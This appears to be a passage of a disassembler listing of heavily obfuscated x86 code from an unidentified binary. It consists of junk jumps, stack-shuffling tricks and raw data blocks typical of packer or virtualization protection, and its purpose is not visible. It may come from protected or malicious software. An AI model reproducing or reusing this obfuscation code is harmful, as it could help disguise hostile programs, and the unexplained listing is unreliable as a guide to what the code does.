add eax, esi add eax, 47D55B3Ah pop esi xchg eax, [esp+80h+var_80] pop esp jmp loc_55AFD2 ; --------------------------------------------------------------------------- aXhV db 'Xh|V',0 dw 0E900h dd 0FFFF39C9h ; --------------------------------------------------------------------------- loc_562448: ; CODE XREF: sub_542C3C+11A33j shr edx, 4 xor edx, 58E553CDh jmp loc_55FE91 ; --------------------------------------------------------------------------- dw 48Bh dd 0E3895324h, 0FFB7FCE9h, 240487FFh, 3F02685Ch, 0C890000h dd 0C3895324h, 685BD989h, 64C3h, 51243C89h, 0FF3CDEE9h dd 14F755FFh, 0C9E95D24h, 8BFFFF6Ah, 0C4812404h, 4, 8B242C87h dd 0F662424h, 5B68C8BEh, 8900002Fh, 8B542434h, 0C4E92434h dd 28FFFFACh, 4EE04C8h, 2434FFB2h, 83240C8Bh, 895304C4h dd 4C381E3h, 83000000h, 1C8704C3h, 24248B24h, 0C006B353h dd 0CB8004E3h, 5CEB8026h, 88C380h, 25C3E9D8h, 0E9500000h dd 24CBh ; --------------------------------------------------------------------------- loc_5624EC: ; CODE XREF: sub_542C3C+19F2Cj sub edi, 78467EA6h mov esi, edi pop edi sub eax, esi pop esi xchg eax, [esp+94h+var_94] pop esp mov [esp+90h+var_90], eax mov eax, 2DFC39BAh jmp loc_563A36 ; --------------------------------------------------------------------------- loc_562509: ; CODE XREF: sub_542C3C+1D119j sub esi, ecx push edx mov edx, 5F053778h jmp loc_5667FB ; --------------------------------------------------------------------------- dw 74FFh dd 0E95E0424h, 0FFFF1410h ; --------------------------------------------------------------------------- loc_562520: ; CODE XREF: sub_542C3C+19492j add esi, 8814E804h jmp loc_567F49 ; --------------------------------------------------------------------------- db 89h dd 36E9240Ch, 5BFFFF9Ah, 8904EC83h, 0E6882414h, 0FF5AF788h dd 0D3E92434h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562547: ; CODE XREF: sub_542C3C+1351Ej and edi, eax pop eax jmp loc_55C5E1 ; --------------------------------------------------------------------------- db 66h dd 2825B450h, 6F13E9E3h, 0E589FFFFh, 4C581h, 0C5810000h dd 4, 5C242C87h, 31241433h, 14332414h, 2C895C24h, 4EC8324h dd 0FFD665E9h, 242C33FFh, 33242C31h, 6DE9242Ch, 59FFFF14h dd 0E9240C8Bh, 0FFFFBE29h ; --------------------------------------------------------------------------- loc_562598: ; CODE XREF: sub_542C3C+1A089j xchg ebp, [esp+7Ch+var_7C] jmp loc_55FD75 ; --------------------------------------------------------------------------- dd 4BE56h, 0F3010000h, 3D9AE95Eh, 4B9FFFFh, 52000000h dd 142EDBAh, 0FE1E96Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5625BE: ; CODE XREF: sub_542C3C+12F57j xchg esi, [esp+8Eh+var_90+2] push [esp+8Eh+var_90+2] jmp loc_558F38 ; --------------------------------------------------------------------------- db 0C1h, 0E5h, 5 dd 2957ED81h, 0F74D48CBh, 0C552E9D5h, 0A0B1FFFFh, 96B45066h dd 0F606E4C0h, 80DCF6DCh, 0EC80CCC4h, 5CEC80A3h, 5866E100h dd 0FF1362E9h db 0FFh ; --------------------------------------------------------------------------- loc_5625F9: ; CODE XREF: sub_542C3C+1BCEEj shr edi, 8 jmp loc_555582 ; --------------------------------------------------------------------------- db 87h, 0CDh, 87h dd 35B5E9EAh, 2C89FFFFh, 4BD24h, 0EE010000h, 341EE95Dh dd 2EB20000h, 1DB55166h, 5966EA28h, 5303E2C0h, 0F380AEB3h dd 25EA80A1h, 0C280DA28h, 0B4CAE925h, 2BFFFFFh, 1000000h dd 69E95FFBh, 89FFFF3Ah, 0D9BB53E0h, 0E9710812h, 0FFFF8E46h dd 0C7ECD81h, 0ED811697h, 0B0950552h, 3C5DC781h, 0EF015F21h dd 3C5DEF81h, 0F75D5F21h, 0CB67E9D7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562676: ; CODE XREF: sub_542C3C+18597j xor eax, edi mov edi, [esp+74h+var_74] add esp, 4 xor ebx, eax push 197Fh mov [esp+74h+var_74], eax jmp loc_55354C ; --------------------------------------------------------------------------- dd 8324048Fh, 0E9042404h, 391Eh, 3304C283h, 7DE92414h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5626A7: ; CODE XREF: sub_542C3C+1E2CDj pop eax push ebx push esp jmp loc_554B53 ; --------------------------------------------------------------------------- db 89h dd 5D54242Ch, 0E904EC83h, 0FFFFE660h, 0E289525Ah, 4C281h dd 0C2830000h, 24148704h, 0E389535Ch, 0FF54E7E9h, 81E589FFh dd 4C5h, 4C58100h, 0E9000000h, 0FFFFFB9Dh, 2B60F66h, 28066866h dd 24048966h, 0FF0E53E9h db 0FFh ; --------------------------------------------------------------------------- loc_5626F9: ; CODE XREF: sub_542C3C+14FADj mov esp, [esp+4Ch+var_4C] jmp loc_567C3B ; --------------------------------------------------------------------------- db 0BDh, 5Ch, 18h dd 0E8012F33h, 0E9D0015Dh, 0FFFFA570h ; --------------------------------------------------------------------------- loc_562710: ; CODE XREF: sub_542C3C+1191Ej xchg esi, [esp+7Ch+var_7C] pop esp and al, bl pop bx push 73A3h mov [esp+7Ah+var_7C+2], esi jmp loc_566CD2 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 10E1E9h, 24048B00h, 575768h, 243C8900h, 0FF112FE9h dd 56D9F7FFh, 5C330DBEh, 4AF6816Eh, 21390416h, 0F1815EF1h dd 313D2A49h, 0E959CD89h, 0FFFFB6D1h, 66F58766h, 1ECFF581h dd 5EDC166h, 0FF3AE2E9h, 241489FFh, 3997E957h, 8B660000h dd 0CDE92424h db 0Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56277F: ; CODE XREF: sub_542C3C+14493j mov bl, al pop ax xor bl, 0E4h jmp loc_560B96 ; --------------------------------------------------------------------------- loc_56278B: ; CODE XREF: sub_542C3C+15AB3j push 608Eh mov [esp+8Ch+var_8C], ecx jmp loc_558A03 ; --------------------------------------------------------------------------- loc_562798: ; CODE XREF: sub_542C3C+1B0FEj xor word ptr [esp+8Ch+var_8C], ax pushf jmp loc_55354C ; --------------------------------------------------------------------------- loc_5627A2: ; CODE XREF: sub_542C3C+138B2j mov ebp, [esp+84h+var_84] add esp, 4 push eax jmp loc_55C16D ; --------------------------------------------------------------------------- loc_5627AE: ; CODE XREF: sub_542C3C+196C8j push esi mov esi, 5BE57009h push edi push 0FFFFFFFFh pop edi sub esi, edi pop edi jmp loc_563193 ; --------------------------------------------------------------------------- db 0FFh a4Xh db '4$Xh|!',0 align 4 dd 81242C89h, 4ECh, 8CE95400h db 1Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5627DB: ; CODE XREF: sub_542C3C+22384j shr bh, 3 add bh, 0A9h jmp loc_55A28F ; --------------------------------------------------------------------------- loc_5627E6: ; CODE XREF: sub_542C3C+206FAj add [esp+9Ch+var_98], 5069348Bh jmp loc_55B767 ; --------------------------------------------------------------------------- db 59h dd 5C24048Fh, 555EF231h, 0A9034968h, 0CEE95D6Dh, 55FFFFC9h dd 0FF3D93E9h, 4FE681FFh, 8114544Ch, 0E26D30C6h, 0C832E96Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56281E: ; CODE XREF: sub_542C3C+1C352j sub esi, 15ED73D5h push 0 sub [esp+0A0h+var_A2+2], esi pop esi shl esi, 3 inc esi xor esi, 1FB033Bh jmp loc_553854 ; --------------------------------------------------------------------------- dd 0E1D1D1F7h, 0F704E9C1h, 0A8E3E9D9h, 8B54FFFFh, 0C481240Ch dd 4, 4C181h, 0BE560000h, 4, 16F5E9h, 243C8B00h, 4EC81h dd 2C890000h, 81E58924h, 4C5h, 389BE900h, 0D968FFFFh, 0E900001Bh dd 0FFFF8A49h, 4244481h, 1D976AC2h, 4247C01h, 4246C81h dd 1D976AC2h, 2434FF5Fh, 4C4815Bh, 52000000h, 0FFE50CE9h dd 4C483FFh, 81240401h, 0ECE242Ch, 0BE567223h, 3FD72A64h dd 0FF69FDE9h, 79F1B9FFh, 81492ABFh, 38351BE1h, 0C9814176h dd 16A73C7Fh, 3695E981h, 0E9571321h, 3D35h, 4C481h, 50510000h dd 0D23CE955h, 8B58FFFFh, 0C483242Ch, 0C3815B04h, 113B278Fh dd 5BD82958h, 0A8403705h, 0E6895665h, 4C681h, 0EE830000h dd 24348704h, 0FF2816E9h, 24248BFFh, 2E83E9h, 241C8900h dd 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch, 8E92404h dd 81000008h, 751C70E9h, 81D10153h, 751C70C1h, 818BE953h dd 34FFFFFFh, 89515824h, 376268E1h, 34890000h, 815E5424h dd 4C6h, 4EE8100h, 0E9000000h, 0FFFF4EC9h ; --------------------------------------------------------------------------- loc_562978: ; CODE XREF: sub_542C3C+12998j pop eax jmp loc_556CB0 ; --------------------------------------------------------------------------- dw 34FFh aZrhy db '‡Rhy|',0 dw 8900h dd 0EC81242Ch, 4, 0BF243C89h, 278B5159h, 0DFF7E7D1h, 1338F781h dd 0EC813E40h, 4, 0B9240C89h, 64540486h, 0E202E981h, 0CF21F6D7h dd 83240C8Bh, 0F78104C4h, 35AF1D72h, 0A5FB951h, 0C7810D5Bh dd 6A604165h, 0EF81CF01h, 6A604165h, 0FF52BFE9h db 0FFh ; --------------------------------------------------------------------------- loc_5629DD: ; CODE XREF: sub_542C3C+11E7Fj sub al, dl jmp loc_567A20 ; --------------------------------------------------------------------------- dd 4B8h, 70E95000h, 83000023h, 2FB604C4h, 0C8BEE28h, 4C48324h dd 5302E6C0h, 0EB80E1B3h, 0DCB805Dh, 5244B551h, 536647B6h dd 0B4506652h, 66E68897h, 5AF38858h, 0FF5D2FE9h, 4EC81FFh dd 89000000h, 0E189240Ch, 4C181h, 1CE90000h, 0B8FFFFC4h dd 5CA35679h, 745AE951h, 3C89FFFFh, 2237BF24h, 0F8292088h dd 0B62FE95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562A52: ; CODE XREF: sub_542C3C+1F343j sub esi, 40887195h add esi, ecx add esi, 40887195h mov ecx, [esp+74h+var_74] add esp, 4 push esi not [esp+74h+var_74] mov esi, [esp+74h+var_74] jmp loc_55D6AC ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 55242489h, 4BDh, 18E95000h db 90h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562A87: ; CODE XREF: sub_542C3C+1D25Bj mov [esp+94h+var_94], esi mov esi, 2ED45693h add esi, 0FFFFFFFFh shl esi, 4 jmp loc_566ABD ; --------------------------------------------------------------------------- dw 0E089h dd 38FCE955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_562AA2: ; CODE XREF: sub_542C3C+133F0j mov esi, 4 jmp loc_556A5E ; --------------------------------------------------------------------------- loc_562AAC: ; CODE XREF: sub_542C3C+161DAj mov ebp, [esp+84h+var_84] jmp loc_558599 ; --------------------------------------------------------------------------- dd 0BF243C89h, 10AB5085h, 6839E781h, 0EF81378Bh, 108B3FFDh dd 31BB5357h, 0E95A9F53h, 0FFFF2D17h, 99368h, 241C8900h dd 76B6E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562AE2: ; CODE XREF: sub_542C3C+1D2C5j push [esp+0A6h+var_A6] pop ebp add esp, 4 sub esp, 4 mov [esp+0A6h+var_A6], edx push esp mov edx, [esp+0AAh+var_AA] add esp, 4 add edx, 4 sub esp, 4 jmp loc_55A86D ; --------------------------------------------------------------------------- loc_562B07: ; CODE XREF: sub_542C3C+1947Dj push 6528h mov [esp+0AEh+var_AE], ebx mov ebx, 798231FCh mov ecx, 0A52B81B1h add ecx, ebx pop ebx sub edi, ecx pop ecx push edi jmp loc_553EFC ; --------------------------------------------------------------------------- db 1, 0CAh, 0E9h dd 3884h, 8904EC83h, 0E2892414h, 4EC81h, 3C890000h, 90BA5224h dd 0C175912Bh, 0EA8102EAh, 1, 4ADFBB53h, 0DA291D64h, 5F58685Bh dd 4890000h, 89D08924h, 835A58C7h, 1E904ECh db 40h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562B6B: ; CODE XREF: sub_542C3C+191A6j sub esp, 4 mov [esp+98h+var_98], ebx push [esp+98h+var_94] mov ebx, [esp+9Ch+var_9C] push ecx mov ecx, esp add ecx, 4 jmp loc_563F82 ; --------------------------------------------------------------------------- db 0BAh, 58h, 0FEh dd 0D529149Eh, 5DEE015Ah, 48E9F021h, 66FFFF7Ch, 9C241CF7h dd 0FF09A7E9h, 9BED81FFh, 147AE6Bh, 9BC581CDh, 5947AE6Bh dd 4118BF57h, 0E78150F8h, 22B67C91h, 8107EFC1h, 0D8068CEFh dd 0A31E9A9h, 535DFFFFh, 6B1337BBh, 7AE94329h db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562BDB: ; CODE XREF: sub_542C3C+1F1DBj pop edi push ebp mov ebp, esp add ebp, 4 jmp loc_55E438 ; --------------------------------------------------------------------------- dw 4B8h dd 1000000h, 348758C6h, 0C73AE924h, 5D59FFFFh, 73E9D801h db 15h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562C03: ; CODE XREF: sub_542C3C+15009j xor esi, edi jmp loc_55CBF0 ; --------------------------------------------------------------------------- loc_562C0A: ; CODE XREF: sub_542C3C+1BBE2j push ebp push ecx push 17957F8Fh pop ecx jmp loc_55C435 ; --------------------------------------------------------------------------- db 0BBh dd 58F25831h, 8245C29h, 67B9515Bh, 2966EA19h, 5908244Ch dd 0FF8D9AE9h, 74FF53FFh, 8F5B0424h, 0E95C2404h, 42FFh ; --------------------------------------------------------------------------- loc_562C40: ; CODE XREF: sub_542C3C+21A65j add ebp, 4 push edi mov edi, 4FFB720Eh push 4476h mov [esp+9Ch+var_9C], ecx mov ecx, 47732420h or edi, ecx pop ecx dec edi add edi, 0B00489D7h add ebp, edi pop edi xor ebp, [esp+94h+var_94] xor [esp+94h+var_94], ebp xor ebp, [esp+94h+var_94] mov esp, [esp+94h+var_94] xor eax, [esp+94h+var_94] xor [esp+94h+var_94], eax xor eax, [esp+94h+var_94] pop esp jmp loc_562CAC ; --------------------------------------------------------------------------- loc_562C81: ; CODE XREF: sub_542C3C+1AA31j add ecx, 1E9909B3h add ecx, edi sub ecx, 1E9909B3h mov edi, [esp+5Ch+var_5C] add esp, 4 push 7699h mov [esp+5Ch+var_5C], edi push edx jmp loc_56840F ; --------------------------------------------------------------------------- loc_562CA6: ; CODE XREF: sub_542C3C+238F2j pop ecx jmp loc_55EEDB ; --------------------------------------------------------------------------- loc_562CAC: ; CODE XREF: sub_542C3C+20040j div cx jmp loc_5664DB ; --------------------------------------------------------------------------- dd 2474FF57h, 243C8B04h, 0E904C483h, 0FFFFC7C5h, 240C8B66h dd 2C8B5455h, 0E3895324h, 4C381h, 0B9510000h, 4, 0E959CB01h dd 0FFFFA6EDh, 8904EC83h, 0BA522424h, 4, 0FF9340E9h, 0F5814DFFh dd 0A97E78ACh, 0E95DE929h, 0DADh, 144540BDh, 5B8CE91Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562D0E: ; CODE XREF: sub_542C3C+2055Fj mov ebx, [esp+90h+var_90] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+94h+var_94] pop esp xor ebp, esi mov esi, [esp+90h+var_90] add esp, 4 and eax, ebp mov ebp, [esp+8Ch+var_8C] add esp, 4 jmp loc_553A8B ; --------------------------------------------------------------------------- loc_562D36: ; CODE XREF: sub_542C3C+1B850j push [esp+58h+var_54] pop eax pop [esp+58h+var_58] pop esp push esi mov esi, 0B4D6E0Bh xor eax, esi jmp loc_5609E4 ; --------------------------------------------------------------------------- loc_562D4C: ; CODE XREF: sub_542C3C+1A92Fj pop esp mov [esp+58h+var_58], edi mov edi, 6065067Ah jmp loc_565259 ; --------------------------------------------------------------------------- loc_562D5A: ; CODE XREF: sub_542C3C+11396j push [esp+70h+var_70] mov eax, [esp+74h+var_74] add esp, 4 push edi mov edi, esp push eax mov eax, 286F6762h sub eax, 0D0B3F04h xor eax, 78DD0976h sub eax, 0FFFFFFFFh jmp loc_564CB9 ; --------------------------------------------------------------------------- db 5Ah dd 0C7E9D989h db 66h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562D8B: ; CODE XREF: sub_542C3C+1E42Fj push esi push [esp+8Ch+var_88] pop esi jmp loc_55FCA8 ; --------------------------------------------------------------------------- aIrh db '‰àhÞ-',0 dd 242C8900h, 4BDh, 5DE80100h, 3304C083h, 0CDE92404h, 52000029h dd 5059BE56h, 0F2890B80h, 5D75E95Eh, 815AFFFFh, 4C2h, 4EA8300h dd 781D68h, 24148900h, 42474FFh, 24048F5Ah, 2414895Ch dd 2B4DBB53h, 0DA896F4Fh, 4E2C15Bh, 240CFF52h, 0CBEA815Ah dd 0E9F4F2B4h, 0FFFF1780h ; --------------------------------------------------------------------------- loc_562DFC: ; CODE XREF: sub_542C3C+2112Bj mov ebp, [esp+8Ch+var_8C] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+90h+var_90] pop esp push 6C40h mov [esp+90h+var_90], ebx mov ebx, 4 add ebp, ebx jmp loc_55C235 ; --------------------------------------------------------------------------- loc_562E23: ; CODE XREF: sub_542C3C+1181Bj inc ebp sub ebp, 2F87754Ah add ebp, 0ECC3210h jmp loc_567C7E ; --------------------------------------------------------------------------- loc_562E35: ; CODE XREF: sub_542C3C+1E46Cj push small 6BBh mov word ptr [esp+88h+var_88], bx mov bl, 68h xor al, bl pop bx sub bl, 0B4h jmp loc_563881 ; --------------------------------------------------------------------------- aB_7hl db 'Ã.',7,'Å7hl*',0 align 2 dw 3C89h dd 61ACBF24h, 0D7F746D6h, 72206847h, 0C890000h, 37F9B924h dd 0BE5634A9h, 7335382Dh, 815EF101h, 69602FE1h, 0F1F18165h dd 173AF35h, 4AA2E9CFh, 5049FFFFh, 0F9250AB8h, 0E9C1214Eh dd 4A24h, 3595E95Dh, 8158FFFFh, 0D31431C6h, 0FFF2899Dh dd 815E2434h, 4C4h, 0FFD10100h, 555A2434h, 0FF2A28E9h dd 6D0DB8FFh, 0D8F7612Bh, 8185A035h, 8BC709EBh, 0C4832404h dd 824CE904h, 0EB31FFFFh, 5EF3B951h, 0D1F70DFFh, 7A2BE181h dd 0D1F7502Ah, 6903E181h, 0D9F77E55h, 594DE981h, 0CB016680h dd 2E3C159h, 1C381h, 0C3810000h, 0FC3EC049h, 0FF6031E9h dd 4C381FFh, 81000000h, 4C3h, 351AE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562F1E: ; CODE XREF: sub_542C3C+206B5j add esp, 4 jmp loc_55DC71 ; --------------------------------------------------------------------------- loc_562F29: ; CODE XREF: sub_542C3C+18B3Aj movzx ax, byte ptr [eax] sub esp, 4 jmp loc_56012F ; --------------------------------------------------------------------------- dd 240C8B66h, 69F768h, 241C8900h, 70E95B54h, 81FFFF86h dd 2C7h, 243C3300h, 33243C31h, 0E1E9243Ch db 5Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562F5F: ; CODE XREF: sub_542C3C+19E69j sub ebx, 7F6124C2h add ebx, 548C443Fh add ebx, ecx sub ebx, 548C443Fh add ebx, 7F6124C2h pop ecx mov edx, [esp+5Ch+var_5C] add esp, 4 add ebx, 4 xchg ebx, [esp+58h+var_58] mov esp, [esp+58h+var_58] shr ecx, 2 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp+5Ch+var_5C] pop esp mov [esp+58h+var_58], ebx push [esp+58h+var_58] mov eax, [esp+5Ch+var_5C] add esp, 4 push edx mov edx, esp sub esp, 4 mov [esp+60h+var_60], ebx mov ebx, 3E544C94h push ecx mov ecx, 42F314B5h dec ecx jmp loc_55C3A1 ; --------------------------------------------------------------------------- db 0FFh dd 83582434h, 0E36804C4h, 89000009h, 0EC832414h, 0DB33E904h dd 0C8BFFFFh, 4C48324h, 415768h, 242C8900h, 42474FFh, 0FF6914E9h db 0FFh ; --------------------------------------------------------------------------- loc_562FF9: ; CODE XREF: sub_542C3C+21E5Bj mov [esp+64h+var_64], ebx mov ebx, 0 jmp loc_564C19 ; --------------------------------------------------------------------------- dw 18BEh dd 0E967026Ah, 0FFFF5921h, 4240481h, 5F000000h, 0FF5D89E9h dd 4FD5BBFFh, 0DE8910A1h, 83241C8Bh, 0BE904C4h, 1000053h dd 2FFBE9F2h, 0C483FFFFh, 6828E904h, 2C8BFFFFh, 4C48124h dd 48000000h, 2DD8F740h, 1C4E9484h, 6A195E35h, 0C4C357Dh dd 0D0F7529Ch, 1DD5E9h, 781A0500h, 63E90A73h, 5BFFFFFBh dd 8B66D730h, 0C4832414h, 5BF83002h, 0FF32F0E9h, 4B9FFh dd 0EF810000h, 274167E8h, 0C781CF29h, 274167E8h, 6D716859h dd 3C890000h, 0A6BE924h, 0C681FFFFh, 32EF7D01h, 0FF5900E9h dd 240489FFh, 0B652AAB4h, 8EF680F6h, 0E2E9F428h db 0C0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5630BB: ; CODE XREF: sub_542C3C+176E3j or bl, ah jmp loc_55CE10 ; --------------------------------------------------------------------------- aSsdv db 'SéDV',0 align 4 loc_5630C8: ; CODE XREF: sub_542C3C+21B4Bj pop edx add edi, 4 xor edi, [esp+3Ch+var_3C] jmp loc_55FDA8 ; --------------------------------------------------------------------------- db 5Bh dd 628AF381h, 0C15E2C47h, 0EB8103EBh, 92A467Eh, 0E3CBA52h dd 0D301466Ch, 5BD8295Ah, 83241C8Bh, 2FE904C4h db 7Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5630FF: ; CODE XREF: sub_542C3C+1BA8Fj mov ebp, edx pop edx not ebp sub ebp, 78DE1CC5h jmp loc_55FA94 ; --------------------------------------------------------------------------- loc_56310F: ; CODE XREF: sub_542C3C+17557j push 245E5B88h pop eax shr eax, 8 xor eax, 9714C53h not eax push ebx mov ebx, 29D4210Fh sub ebx, 49107239h inc ebx sub ebx, 0D76E9CA6h add eax, ebx push [esp+90h+var_90] pop ebx jmp loc_5680EE ; --------------------------------------------------------------------------- db 50h, 57h, 0BFh dd 231D6561h, 0ABE9F889h, 53000046h, 98E9D388h, 8BFFFF80h dd 0C483240Ch, 3EEE904h, 0C181FFFFh, 344E2494h, 589ABA52h dd 0EA816184h, 1DAD4CAEh, 0FFECDEE9h, 81E389FFh, 4C3h dd 4EB8100h, 87000000h, 248B241Ch, 240C8924h, 32E9E189h db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563193: ; CODE XREF: sub_542C3C+1FB82j push ebx mov ebx, 0D0E82A65h xor esi, ebx jmp loc_562D0E ; --------------------------------------------------------------------------- dd 6D2BD66h, 0B8665066h, 21667E5Ah, 665866C5h, 4A56E945h dd 81660000h, 507A03EBh, 51686657h, 85F8E921h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5631C6: ; CODE XREF: sub_542C3C+18B14j mov [esp+88h+var_88], esi mov esi, 59357321h jmp loc_5645F5 ; --------------------------------------------------------------------------- db 81h dd 3569ADC6h, 9D3FE97Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5631DE: ; CODE XREF: sub_542C3C+17812j sub dh, 39h mov ch, dh pop edx push small 5D4Fh mov word ptr [esp+76h+var_78+2], bx mov bl, 99h xor ch, bl pop bx mov bl, ch mov ecx, [esp+74h+var_74] add esp, 4 add bl, dl push [esp+70h+var_70] pop edx jmp loc_55453A ; --------------------------------------------------------------------------- db 0B9h, 0EFh, 37h dd 0E983139Ah, 0B95157FFh, 20775621h, 16B8E181h, 0C181778Ah dd 5F36394Ch, 0FF9B3DE9h, 242489FFh, 4240483h, 0E9242C8Bh dd 0FFFFF7EDh, 0FF2434FFh, 83582434h, 895004C4h, 452E9E0h dd 0BE56FFFFh, 62EE4C78h, 815EF509h, 4ECh, 0B397E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56325A: ; CODE XREF: sub_542C3C+116AFj neg esi jmp loc_560724 ; --------------------------------------------------------------------------- loc_563261: ; CODE XREF: sub_542C3C+1E1F8j pop eax xchg esi, [esp] pop esp sub esp, 4 mov [esp], edx mov edx, 6AE501Bh or edx, 76B62DEEh push edx not [esp+0A2h+var_A2] push [esp+0A2h+var_A2] pop edx add esp, 4 jmp loc_5669E7 ; --------------------------------------------------------------------------- dw 1487h dd 24248B24h, 89243489h, 4C681E6h, 0E9000000h, 43E5h, 8704C383h dd 0E95C241Ch, 4DE5h, 0E2CCBA52h, 0D331025Ch, 0E92434FFh dd 0FFFFB0ADh, 8104C483h, 4C5h, 4C58300h, 393CE9h, 2434FF00h dd 0FF620EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5632D5: ; CODE XREF: sub_542C3C+13BE0j xor edx, [esp+80h+var_80] xor [esp+80h+var_80], edx xor edx, [esp+80h+var_80] mov esp, [esp+80h+var_80] imul cx push edx push esp mov edx, [esp+88h+var_88] jmp loc_559923 ; --------------------------------------------------------------------------- loc_5632EE: ; CODE XREF: sub_542C3C+1B91Aj mov edi, [esp+0B6h+var_B6] jmp loc_562F1E ; --------------------------------------------------------------------------- dw 159h dd 2434FFEAh, 1058E95Dh, 45E9FFFFh db 2, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563307: ; CODE XREF: sub_542C3C+1CA7Bj mov ebx, [esp+7Ch+var_7C] add esp, 4 add esi, 58760B1Ch inc esi push edx mov edx, 961BC708h jmp loc_567D2C ; --------------------------------------------------------------------------- dw 8B66h dd 8956240Ch, 33E953E6h db 26h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56332F: ; CODE XREF: sub_542C3C+25142j push esp jmp loc_5673EB ; --------------------------------------------------------------------------- loc_563335: ; CODE XREF: sub_542C3C+1C1A2j pop edi jmp loc_5627E6 ; --------------------------------------------------------------------------- loc_56333B: ; CODE XREF: sub_542C3C+15B93j push 7EA2h mov [esp+80h+var_80], ebx mov ebx, 1 and eax, ebx jmp loc_561AC4 ; --------------------------------------------------------------------------- db 46h dd 0BB53DEF7h, 5C7648C9h, 5EBC14Bh, 77D1EB81h, 0CB814191h dd 2C167A7h, 8102E3C1h, 0BC46FEC3h, 5BDE01AAh, 4F5EF789h dd 0FF7AE9E9h, 240481FFh, 5C4F02CBh, 0E924048Bh, 0FFFFD1A7h dd 8CE9E189h, 0E9FFFF11h, 0FFFF01B4h ; --------------------------------------------------------------------------- loc_563398: ; CODE XREF: sub_542C3C+21680j sub ebx, 27121929h sub ebx, eax add ebx, 27121929h jmp loc_568837 ; --------------------------------------------------------------------------- db 81h dd 0B4ADFC7h, 4062E94Fh, 8141FFFFh, 0FF1975C9h, 6BBEE93Fh dd 6850FFFFh, 69B9h, 0B2241489h, 2885B003h, 0B5515AD0h dd 0E9E80872h, 0FFFF328Ch, 0CCB60F66h, 0FF0B2CE9h, 4EC81FFh dd 89000000h, 0C2682414h, 54000041h, 8324048Fh, 5A042404h dd 4BF57h, 0FA010000h, 5094E9h, 2434FF00h, 3A685059h, 89000051h dd 4812424h, 424h, 24048B00h, 504C483h, 4, 405h, 4798E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_563432: ; CODE XREF: sub_542C3C+23D14j sub eax, ebp jmp loc_5600C8 ; --------------------------------------------------------------------------- db 4Dh, 81h, 0CDh dd 75F018D6h, 5EDC145h, 49B3ED81h, 0EB89FA53h, 5BDF295Dh dd 2D55EF81h, 8AE9B4CBh, 56FFFF5Bh, 0FF382DE9h, 10C581FFh dd 5A6BCD0Bh, 500AC581h, 0C8B491Dh, 4C48324h, 602368h dd 242C8900h, 42474FFh, 0E9242C8Bh, 0FFFF3679h, 52D830ACh dd 0B3535166h, 5091E945h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563496: ; CODE XREF: sub_542C3C+20908j add eax, edi sub eax, 385A172Bh push [esp+80h+var_80] mov edi, [esp+84h+var_84] jmp loc_5623B2 ; --------------------------------------------------------------------------- dd 0F281424Ah, 6FC52B91h, 9287F281h, 0D301D6ADh, 0FFAAEFE9h dd 0E95CB6FFh, 0FFFFAAB9h, 0E9241487h, 216Eh, 0BD6EE81h dd 0D6014337h, 0FFB871E9h db 0FFh ; --------------------------------------------------------------------------- loc_5634D9: ; CODE XREF: sub_542C3C+2537Bj xchg edi, esi dec esi jmp loc_55BC51 ; --------------------------------------------------------------------------- db 5Fh, 83h, 0C5h dd 3CB76804h, 2C890000h, 2474FF24h, 98F5E904h, 0BAB8FFFFh dd 81B95417h, 0B643F7C5h, 0E9C52900h, 0FFFFB6EAh ; --------------------------------------------------------------------------- loc_563508: ; CODE XREF: sub_542C3C+1C386j xor [esp+78h+var_78], eax xor eax, [esp+78h+var_78] mov esp, [esp+78h+var_78] mov [esp+78h+var_78], ebp push ebx jmp loc_553875 ; --------------------------------------------------------------------------- loc_56351A: ; CODE XREF: sub_542C3C+2113Bj pop esi add esp, 4 sub edi, 0C2B599DCh xor eax, edi push [esp+74h+var_74] pop edi add esp, 4 push edi mov edi, 34392350h sub edi, 0BB2EDA43h add eax, 385A172Bh jmp loc_563496 ; --------------------------------------------------------------------------- db 5, 0F1h, 0B1h dd 57E9970Bh db 39h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563553: ; CODE XREF: sub_542C3C+151A1j pop esp jmp loc_55FA29 ; --------------------------------------------------------------------------- loc_563559: ; CODE XREF: sub_542C3C+1E6CBj mov ebp, [esp+8Ch+var_8C] push 40B8h mov [esp+90h+var_90], ecx mov ecx, esp push eax mov eax, 4 add ecx, eax pop eax push edi jmp loc_55B0AD ; --------------------------------------------------------------------------- db 31h, 0EBh, 8Bh dd 0C481242Ch, 4, 1C8BDF01h, 4C48324h, 243C8758h, 